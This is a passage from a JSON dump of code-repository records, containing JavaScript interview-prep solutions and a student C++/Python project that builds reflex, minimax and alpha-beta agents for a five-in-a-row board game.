"function printLinkedList(head) {\n let looping = true\nwhile(looping === true){\n console.log(head.data)\n if(head.next != null){\n head = head.next\n }else{\n looping = false\n }\n}\n\n}" }, { "alpha_fraction": 0.4041298031806946, "alphanum_fraction": 0.41445428133010864, "avg_line_length": 22.413793563842773, "blob_id": "19b40cf781322903497da88cca13dba48f463356", "content_id": "8ec3469ab2ce050bf04abb20900d76ddd79ce8cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 678, "license_type": "no_license", "max_line_length": 47, "num_lines": 29, "path": "/CodingChallenges/Leetcode/Optimized_search_A_Matrix.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "var searchMatrix = function(matrix, target) {\n console.log(matrix)\n for(let i = 0;i<matrix.length;i++){\n let length = matrix[i].length;\n let counter = 0\n var guess,\n min = 0,\n max = matrix[i].length -1;\n while(min <= max){\n if(counter === length){\n break\n }\n counter++\n guess = Math.floor((min + max)/2);\n if(matrix[i][guess]===target){\n return true\n }else if(matrix[i][guess]< target){\n min = guess +1\n }else{\n max = guess -1 \n }\n }\n \n \n }\n return false\n\n\n};" }, { "alpha_fraction": 0.42073169350624084, "alphanum_fraction": 0.4611280560493469, "avg_line_length": 25.260000228881836, "blob_id": "878c11dc5dc17cd6a3679c59c047291728f9049c", "content_id": "a7f69a6fea2aae60270ffaacb34ecbb342239987", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1312, "license_type": "no_license", "max_line_length": 63, "num_lines": 50, "path": "/CodingChallenges/Hackerrank/Arrays/2d-Arrays/Hourglass_sum.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "// Complete the hourglassSum function below.\nfunction hourglassSum(arr) {\n /*\n loop through array and find the sum of all the hourglasses.\n push those sums to a compare array and sort\n default js sort has an average runtime of o(n)\n return the highest sum\n \n */\n //Defining our four hourglasses\n \n //========INPUT============\n /*\n \n [1 ,1 ,1, 0 ,0 ,0]\n [0 ,1, 0 ,0, 0, 0]\n [1 ,1 ,1 ,0 ,0 ,0]\n [0 ,0 ,2 ,4 ,4 ,0]\n [0 ,0 ,0 ,2 ,0 ,0]\n [0 ,0 ,1 ,2 ,4 ,0]\n \n \n */\n //Loop through 2D array\n let temp =0;\n let compare_array = []\n \n for(let i=0;i<=3;i++){\n for(let j = 0; j<=3;j++){\n //make an hourglass\n //add up that hourglass\n //push the total to the compare_array\n temp += arr[i][j];\n temp += arr[i][j + 1];\n temp += arr[i][j + 2];\n temp += arr[i + 1][j + 1];\n temp += arr[i + 2][j]; \n temp += arr[i + 2][j + 1];\n temp += arr[i + 2][j + 2];\n compare_array.push(temp)\n temp = 0;\n }\n }\n \n //Sorting results and returning the highest one\n compare_array.sort((a,b) => a-b)\n let final_index = compare_array.length -1;\n return compare_array[final_index]\n \n }" } ]
22
okijose2/CS440-ECE448
https://github.com/okijose2/CS440-ECE448
05673d27d362cd444ee2c0f43c27036f0b83b642
094bab9a7806a7acaa50c926bb41468509a6984a
9ce19ae19245b9e62a36f8c97f1ebf32b46a6271
refs/heads/master
2021-09-09T05:25:58.040580
2018-03-14T00:40:12
2018-03-14T00:40:12
124,023,793
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7250213623046875, "alphanum_fraction": 0.7284372448921204, "avg_line_length": 25.044445037841797, "blob_id": "c9827e3bf1248e030714887d3c15cd933f2f0cd9", "content_id": "9de9833ce300bd0534755307498c5fdda2b87752", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1171, "license_type": "no_license", "max_line_length": 150, "num_lines": 45, "path": "/ReflexAgent.h", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#ifndef REFLEXAGENT_H\n#define REFLEXAGENT_H\n\n#include \"board.h\"\n#include <vector>\n#include <iostream>\n#include <tuple>\n\nusing namespace std;\n\n#define PLAYER_1 'a'\n#define PLAYER_2 'A'\n\n#define BOARD_SIZE 7\n\n#define UNPLAYED '.'\n#define RED_CHIP 'R'\n#define BLUE_CHIP 'B'\n\nclass ReflexAgent\n{\n\n\tpublic:\n\t\tReflexAgent(char player, char opponent);\n\t\tbool winningMove(Board* board); //true if there is a winning move\n\t\tbool oppFourInRow(Board* board); //true if opponent has 4 in a row, update board state internally\n\t\tbool oppThreeInRow(Board* board); //true if opponent has three in a row, update board state internally\n\t\tbool playGame(Board* board); //true if you wan win\n\t\tint* findWinningBlock(Board* board);\n\t\tvoid placeStone(Board* board, int* winningBlock);\n\t\tchar getPlayer();\n\t\tbool gameWon(Board* board);\n\n\n\tprivate:\n\t\t//bool wonGame;\n\t\tint searchBoard(Board* board, int startRow, int startCol, int endRow, int endCol, char player); //searches board for chains fo the same color/player\n\t\t//vector<int> findSequence();\n\t\tchar opponent_;\n\t\tchar player_;\n\t\tint searchBoardDiag(Board* board, int startRow, int startCol, int endRow, int endCol, int player);\n};\n\n\n#endif" }, { "alpha_fraction": 0.6372340321540833, "alphanum_fraction": 0.6414893865585327, "avg_line_length": 17.897958755493164, "blob_id": "8906d299d3fe07fa691d3039f908cbd889fdd2ac", "content_id": "4c4fdad6d62ef288399f8a11304332ecbd6412b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 940, "license_type": "no_license", "max_line_length": 61, "num_lines": 49, "path": "/environment.py", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "\n'''\nStores T/F values over if a state has been visited\n'''\nclass EnvNode():\n\tdef __init__(self, val = None):\n\t\tself.value = val\n\t\tself.parent = None\n\t\tself.children = []\n\n\tdef add_child(self, child):\n\t\tchild.parent = self\n\t\tself.children.append(child)\n\n\tdef build_layers(self, layer):\n\t\tif layer == 0:\n\t\t\tself.val = False\n\t\telse:\n\t\t\tfor i in range(6):\n\t\t\t\ttemp = EnvNode()\n\t\t\t\ttemp.build_layers(layer-1)\n\t\t\t\tself.add_child(temp)\n\n\n'''\nKeeps track of visited and unvisited nodes in the Environment\n'''\nclass Environment():\n\tdef __init__(self):\n\t\tself.head = EnvNode()\n\t\tself.head.build_layers(5)\n\n\n\t'''\n\tMarks a position as visited\n\t'''\n\tdef visit(self, state):\n\t\tnode = self.head\n\t\tfor i in state.positions:\n\t\t\tnode = node.children[i]\n\t\tnode.val = True\n\n\t'''\n\tDetermines if a location has been visited\n\t'''\n\tdef visited(self, state):\n\t\tnode = self.head\n\t\tfor i in state.positions:\n\t\t\tnode = node.children[i]\n\t\treturn node.val\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6918976306915283, "alphanum_fraction": 0.6982942223548889, "avg_line_length": 19.866666793823242, "blob_id": "1fb1ddd31f6a635fcbd3824e2e78bde191b42c4a", "content_id": "bd37b0db57a2b0575af2b928e08c3d3d8e82a1f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 938, "license_type": "no_license", "max_line_length": 81, "num_lines": 45, "path": "/board.h", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#ifndef BOARD_H\n#define BOARD_H\n\n#include <vector>\n#include <iostream>\n#include <tuple>\n//#include \"ReflexAgent.h\"\n\nusing namespace std;\n\n// Defined constants\n#define PLAYER_1 'a'\n#define PLAYER_2 'A'\n\n#define BOARD_SIZE 7\n\n#define UNPLAYED '.'\n#define RED_CHIP 'R'\n#define BLUE_CHIP 'B'\n\nclass Board\n{\n\n\tpublic:\n\t\tBoard();\n\t\tchar getChar(char val);\n\t\tvoid initGame();\n\t\tint boardState(int row, int col); //return val at coord x,y\n\t\tvoid printBoard();\n\t\tuint8_t getCurrPlayer(); //return current player\n\t\tvoid updateState(int row, int col, char update); //update char on board a->b->c\n\t\tchar currPlayer;\n\t\tvoid setPlayer(char player);\n\t\tbool unoccupied(int row, int col); // returns if a location is occupied\n\t\tvoid play_piece(int row, int col, char player);\n\t\tvoid unplay_piece(int row, int col, char player);\n\n\tprivate:\n\t\tchar state[BOARD_SIZE][BOARD_SIZE]; // class var added by Luke\n\t\tchar p1_progress;\n\t\tchar p2_progress;\n\n};\n\n#endif" }, { "alpha_fraction": 0.7373448014259338, "alphanum_fraction": 0.7507163286209106, "avg_line_length": 33.900001525878906, "blob_id": "2543bda15cb1adac819c9866fe9e97279c44dd81", "content_id": "344efff54291cc7881c90d9ed96f9bbe5fb3221b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1047, "license_type": "no_license", "max_line_length": 96, "num_lines": 30, "path": "/evaluationAgent.h", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "\n#include \"board.h\"\n#include \"stateNode.h\"\n\nusing namespace std;\n\n#define INFINITY \t\t\t1000000\n#define NEGATIVE_INFINITY -1000000\n\n/**\n * Class representing both minimax and alpha-beta agents\n */\nclass EvaluationAgent{\npublic:\n\tEvaluationAgent(char player_in, bool isAlphaBeta_in);\n\tbool playGame(Board* board);\n\tint searchBoard(); // same as reflex agent\n\tint eval(Board* board); //evaluate function\n\tStateNode* minimax(Board* board); // returns the StateNode containing the move for optimal play\n\tvoid minimax_help(int depth, bool isMax, StateNode* curr); // recursive helper for minimax\n\tbool gameWon(Board* board);\n\tint scanBoard(Board* board, int startRow, int startCol, int endRow, int endCol, char player);\n\tvoid alphabeta_helper(int depth, bool isMax, StateNode* curr, int alpha, int beta);\n\tStateNode* alphabeta(Board* board);\n\nprivate:\n\tbool isAlphaBeta; // Is type minimax or alphabeta\n\tchar player; //so the agent knows which player it is DOES NOT CHANGE\n\tchar opponent; // Oponent's starting char DOES NOT CHANGE\n\tint move_nodes;\n};" }, { "alpha_fraction": 0.5651636719703674, "alphanum_fraction": 0.5765904784202576, "avg_line_length": 24.003860473632812, "blob_id": "309dd572c05375fc4395e3913d191046774a3fb9", "content_id": "f0658ef554468bbc11e22973eae63987ed63a2ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6476, "license_type": "no_license", "max_line_length": 125, "num_lines": 259, "path": "/evaluationAgent.cpp", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#include \"evaluationAgent.h\"\n\nEvaluationAgent::EvaluationAgent(char player_in, bool isAlphaBeta_in){\n\tthis->isAlphaBeta = isAlphaBeta_in;\n\tthis->player = player_in;\n\tif(player_in == PLAYER_1){\n\t\tthis->opponent = PLAYER_2;\n\t} else {\n\t\tthis->opponent = PLAYER_1;\n\t}\n}\n\nbool EvaluationAgent::playGame(Board* board){\n\t//move_nodes = 0;\n\tif(!isAlphaBeta){\n\t\tStateNode* best = minimax(board);\n\t\tprintf(\"Minimax value: %d, \", best->value);\n\t\tprintf(\"Minimax location: %d, %d\\n\", best->row, best->col);\n\t\tprintf(\"Minimax %d nodes expanded in this move\\n\", move_nodes);\n\t\tboard->play_piece(best->row, best->col, player);\n\t}\n\telse{\n\t\tStateNode* best = alphabeta(board);\n\t\tprintf(\"A-B value: %d, \", best->value);\n\t\tprintf(\"A-B location: %d, %d\\n\", best->row, best->col);\n\t\tprintf(\"A-B %d nodes expanded in this move\\n\", move_nodes);\n\t\tboard->play_piece(best->row, best->col, player);\n\t}\n\treturn gameWon(board);\n}\n\n/**\n * If isMax, returns child node with max value\n * If !isMax, returns child node with min value\n */\nvoid EvaluationAgent::minimax_help(int depth, bool isMax, StateNode* curr) {\n\tif(gameWon(curr->board)){\n\t\tif(isMax){\n\t\t\tcurr->value = -1*INFINITY;\n\t\t} else {\n\t\t\tcurr->value = INFINITY;\n\t\t}\n\t} else if (depth == 0){\n\t\tcurr->value = eval(curr->board);\n\t} else {\n\t\tmove_nodes++;\n\t\tfor(int i = 0; i < BOARD_SIZE; i++) {\n\t\t\tfor (int j = 0; j < BOARD_SIZE; j++){\n\t\t\t\tif (curr->board->unoccupied(i,j)){\n\t\t\t\t\t// changes board to test\n\t\t\t\t\tchar currPlayer;\n\t\t\t\t\tif(isMax){\n\t\t\t\t\t\tcurrPlayer = this->player;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcurrPlayer = this->opponent; \n\t\t\t\t\t} \n\t\t\t\t\tcurr->board->play_piece(i, j, currPlayer);\n\t\t\t\t\tStateNode* child = new StateNode(!isMax, curr->board);\n\t\t\t\t\t// Recursive call\n\t\t\t\t\tminimax_help(depth-1, !isMax, child);\n\t\t\t\t\t// Undoes move as to prevent confusion\n\t\t\t\t\tcurr->board->unplay_piece(i, j, currPlayer);\n\t\t\t\t\tif(isMax){\n\t\t\t\t\t\tif(child->value > curr->value){\n\t\t\t\t\t\t\t//printf(\"sweet\\n\");\n\t\t\t\t\t\t\tcurr->value = child->value;\n\t\t\t\t\t\t\tcurr->row = i;\n\t\t\t\t\t\t\tcurr->col = j;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif(child->value < curr->value){\n\t\t\t\t\t\t\t//printf(\"spicy\\n\");\n\t\t\t\t\t\t\tcurr->value = child->value;\n\t\t\t\t\t\t\tcurr->row = i;\n\t\t\t\t\t\t\tcurr->col = j;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdelete child;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t//printf(\"depth %d, value %d\\n\", depth, curr->value );\n}\n\nStateNode* EvaluationAgent::minimax(Board* board){\n\tStateNode* head = new StateNode(true, board);\n\tminimax_help(3, true, head);\n\treturn head;\n}\n\n\nvoid EvaluationAgent::alphabeta_helper(int depth, bool isMax, StateNode* curr, int alpha, int beta) {\n\tif(gameWon(curr->board)){\n\t\tif(isMax){\n\t\t\tcurr->value = -1*INFINITY;\n\t\t} else {\n\t\t\tcurr->value = INFINITY;\n\t\t}\n\t} else if (depth == 0){\n\t\t//printf(\"tubular 4\\n\");\n\t\tcurr->value = eval(curr->board);\n\t} else {\n\t\t//printf(\"dope 5\\n\");\n\t\tmove_nodes++;\n\t\tfor(int i = 0; i < BOARD_SIZE; i++) {\n\t\t\tfor (int j = 0; j < BOARD_SIZE; j++){\n\t\t\t\tif (curr->board->unoccupied(i,j)){\n\t\t\t\t\t// changes board to test\n\t\t\t\t\tchar currPlayer;\n\t\t\t\t\tif(isMax){\n\t\t\t\t\t\tcurrPlayer = this->player;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcurrPlayer = this->opponent; \n\t\t\t\t\t} \n\t\t\t\t\tcurr->board->play_piece(i, j, currPlayer);\n\t\t\t\t\tStateNode* child = new StateNode(!isMax, curr->board);\n\t\t\t\t\t// Recursive call\n\t\t\t\t\talphabeta_helper(depth-1, !isMax, child, alpha, beta);\n\t\t\t\t\t// Undoes move as to prevent confusion\n\t\t\t\t\tcurr->board->unplay_piece(i, j, currPlayer);\n\t\t\t\t\tif(isMax){\n\t\t\t\t\t\tint best = -1*INFINITY;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(child->value > curr->value){\n\t\t\t\t\t\t\tcurr->value = child->value;\n\t\t\t\t\t\t\tcurr->row = i;\n\t\t\t\t\t\t\tcurr->col = j;\n\t\t\t\t\t\t\tif(curr->value > best){\n\t\t\t\t\t\t\t\tbest = curr->value;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(alpha < best){\n\t\t\t\t\t\t\t\talpha = best;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(beta <= alpha){\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tint best = INFINITY;\n\t\t\n\t\t\t\t\t\tif(child->value < curr->value){\n\t\t\t\t\t\t\tcurr->value = child->value;\n\t\t\t\t\t\t\tcurr->row = i;\n\t\t\t\t\t\t\tcurr->col = j;\n\t\t\t\t\t\t\tif(child->value < best){\n\t\t\t\t\t\t\t\tbest = child->value;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(beta > best){\n\t\t\t\t\t\t\t\tbeta = best;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(beta <= alpha){\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdelete child;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t//printf(\"depth %d, value %d\\n\", depth, curr->value );\n}\n\nStateNode* EvaluationAgent::alphabeta(Board* board) {\n\tStateNode* head = new StateNode(true, board);\n\talphabeta_helper(3, true, head, -1*INFINITY, INFINITY);\n\treturn head;\n}\n\nint EvaluationAgent::eval(Board* board){\n\tint internal [5]= {0,0,0,0,0};\n\tint opponents [5]= {0,0,0,0,0};\n\tfor(int i = 0; i < BOARD_SIZE; i++){\n\t\tfor(int j = 0; j < BOARD_SIZE; j++){\n\t\t\tinternal[scanBoard(board,i,j,i+4,j,player)]++;\n\t\t\tinternal[scanBoard(board,i,j,i,j+4,player)]++;\n\t\t\tinternal[scanBoard(board,i,j,i+4,j+4,player)]++;\n\t\t\tinternal[scanBoard(board,i,j,i+4,j-4,player)]++;\n\n\t\t\topponents[scanBoard(board,i,j,i+4,j,opponent)]++;\n\t\t\topponents[scanBoard(board,i,j,i,j+4,opponent)]++;\n\t\t\topponents[scanBoard(board,i,j,i+4,j+4,opponent)]++;\n\t\t\topponents[scanBoard(board,i,j,i+4,j-4,opponent)]++;\n\t\t}\n\t}\n\tint sum = 0;\n\tfor (int i = 1; i < 5; i++){\n\t\tsum += internal[i]*i*i*i;\n\t\tsum -= opponents[i]*i*i*i;\n\t}\n\t//printf(\"%d eval val\\n\", sum);\n\treturn sum;\n}\n\nbool EvaluationAgent::gameWon(Board* board)\n{\n\tbool won = false;\n\tfor(int i = 0; i < BOARD_SIZE; i++){\n\t\tfor(int j = 0; j < BOARD_SIZE; j++){\n\t\t\tif(scanBoard(board, i, j, i+4,j, this->player) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(scanBoard(board, i, j, i,j+4, this->player) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(scanBoard(board, i, j, i+4,j+4, this->player) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(scanBoard(board, i, j, i+4,j-4, this->player) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn won;\n}\n\n\nint EvaluationAgent::scanBoard(Board* board, int startRow, int startCol, int endRow, int endCol, char player_in)\n{\n\tif(endRow >= BOARD_SIZE || endCol >= BOARD_SIZE || endRow < 0 || endCol < 0){\n\t\treturn 0;\n\t}\n\n\tint count = 0; \n\tint dRow = 0;\n\tint dCol = 0;\n\tif(startRow < endRow){\n\t\tdRow = 1;\n\t}\n\tif(startRow > endRow){\n\t\tdRow = -1;\n\t}\n\tif(startCol < endCol){\n\t\tdCol = 1;\n\t}\n\tif(startCol > endCol){\n\t\tdCol = -1;\n\t}\n\n\tint dist = abs(startRow-endRow);\n\tif(abs(startCol-endCol) > dist){\n\t\tdist = abs(startCol-endCol);\n\t}\n\n\tint i = startRow;\n\tint j = startCol;\n\tfor(int k=0; k <= dist; k++){\n\t\tif(((isupper(board->boardState(i,j)) && isupper(player_in))) || ((islower(board->boardState(i,j)) && islower(player_in)))){\n\t\t\tcount += 1;\n\t\t}\n\t\tif(((isupper(board->boardState(i,j)) && islower(player_in))) || ((islower(board->boardState(i,j)) && isupper(player_in)))){\n\t\t\treturn 0;\n\t\t}\n\t\ti += dRow;\n\t\tj += dCol;\n\t}\n\treturn count;\n}\n" }, { "alpha_fraction": 0.6272401213645935, "alphanum_fraction": 0.6344085931777954, "avg_line_length": 15.470588684082031, "blob_id": "56f378fa5b87d1a51a0c0e69dece9d2245458630", "content_id": "6ea2799c934fa872b6d446448820f211260dd7c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 279, "license_type": "no_license", "max_line_length": 53, "num_lines": 17, "path": "/stateNode.cpp", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#include \"stateNode.h\"\n\nStateNode::StateNode(bool isMax_in, Board* state_in){\n\tthis->isMax = isMax_in;\n\tthis->board = state_in;\n\tthis->row = -1;\n\tthis->col = -1;\n\tif(isMax){\n\t\tthis->value = NEGATIVE_INFINITY;\n\t} else {\n\t\tthis->value = INFINITY;\n\t}\n}\n\nStateNode::~StateNode(){\n\t\n}" }, { "alpha_fraction": 0.5613400936126709, "alphanum_fraction": 0.5811752080917358, "avg_line_length": 26.41107940673828, "blob_id": "bdee2d5c230d1a356070e64460ff7747ab066696", "content_id": "ea058bca51790b8d51fd450bb6923b77fa478361", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 18805, "license_type": "no_license", "max_line_length": 151, "num_lines": 686, "path": "/ReflexAgent.cpp", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#include \"ReflexAgent.h\"\n#include \"board.h\"\n#include <iostream>\n#include <tuple>\n#include <vector>\n\nusing namespace std;\n\n#define PLAYER_1 'a'\n#define PLAYER_2 'A'\n\n#define BOARD_SIZE 7\n\n#define UNPLAYED '.'\n#define RED_CHIP 'R'\n#define BLUE_CHIP 'B'\n\n\nReflexAgent::ReflexAgent(char player, char opponent){\n\tplayer_ = player;\n\topponent_ = opponent;\n}\n\nbool ReflexAgent::gameWon(Board* board){\n\tbool won = false;\n\tfor(int i = 0; i < BOARD_SIZE; i++){\n\t\tfor(int j = 0; j < BOARD_SIZE; j++){\n\t\t\tif(searchBoard(board, i, j, i+4,j, this->player_) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i,j+4, this->player_) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i+4,j+4, this->player_) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i+4,j-4, this->player_) == 5){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn won;\n}\n\n\nbool ReflexAgent::winningMove(Board* board)\n{\n\n\tbool canWin = false;\n\tfor(int i=0; i<BOARD_SIZE; i++){\n\t\tfor(int j=0; j<BOARD_SIZE; j++){\n\t\t\tif(searchBoard(board, i, j, i+3, j, this->player_) == 4){ //winning horizontal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-1, j)){\n\t\t\t\t\tboard->play_piece(i-1, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+4, j)){\n\t\t\t\t\tboard->play_piece(i+4, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i-3, j, this->player_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-4, j)){\n\t\t\t\t\tboard->play_piece(i-4, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j)){\n\t\t\t\t\tboard->play_piece(i+1, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j+3, this->player_) == 4){ //winning vertical move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i, j-1)){\n\t\t\t\t\tboard->play_piece(i, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i, j+4)){\n\t\t\t\t\tboard->play_piece(i, j+4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j-3, this->player_) == 4){ //winning negative vertical move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i, j-4)){\n\t\t\t\t\tboard->play_piece(i, j-4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i, j+1)){\n\t\t\t\t\tboard->play_piece(i, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i+3, j+3, this->player_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-1, j-1)){\n\t\t\t\t\tboard->play_piece(i-1, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+4, j+4)){\n\t\t\t\t\tboard->play_piece(i+4, j+4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i-3, j-3, this->player_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-4, j-4)){\n\t\t\t\t\tboard->play_piece(i-4, j-4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j+1) ) {\n\t\t\t\t\tboard->play_piece(i+1, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i+3, j-3, this->player_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i+4, j-4)){\n\t\t\t\t\tboard->play_piece(i+4, j-4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i-1, j+1)){\n\t\t\t\t\tboard->play_piece(i-1, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i-3, j+3, this->player_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-4, j+4)){\n\t\t\t\t\tboard->play_piece(i-4, j+4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j-1)){\n\t\t\t\t\tboard->play_piece(i+1, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn canWin;\n}\n\n\nbool ReflexAgent::oppFourInRow(Board* board)\n{\n\n\tbool oppCanWin = false;\n\tfor(int i=0; i<BOARD_SIZE; i++){\n\t\tfor(int j=0; j<BOARD_SIZE; j++){\n\t\t\tif(searchBoard(board, i, j, i+3, j, this->opponent_) == 4){ //winning horizontal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-1, j)){\n\t\t\t\t\tboard->play_piece(i-1, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+4, j)){\n\t\t\t\t\tboard->play_piece(i+4, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i-3, j, this->opponent_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-4, j)){\n\t\t\t\t\tboard->play_piece(i-4, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j)){\n\t\t\t\t\tboard->play_piece(i+1, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j+3, this->opponent_) == 4){ //winning vertical move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i, j-1)){\n\t\t\t\t\tboard->play_piece(i, j-1, this->opponent_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i, j+4)){\n\t\t\t\t\tboard->play_piece(i, j+4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j-3, this->opponent_) == 4){ //winning negative vertical move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i, j-4)){\n\t\t\t\t\tboard->play_piece(i, j-4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i, j+1)){\n\t\t\t\t\tboard->play_piece(i, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i+3, j+3, this->opponent_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-1, j-1)){\n\t\t\t\t\tboard->play_piece(i-1, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+4, j+4)){\n\t\t\t\t\tboard->play_piece(i+4, j+4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i-3, j-3, this->opponent_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-4, j-4)){\n\t\t\t\t\tboard->play_piece(i-4, j-4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j+1) ) {\n\t\t\t\t\tboard->play_piece(i+1, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i+3, j-3, this->opponent_) == 4){ //winning 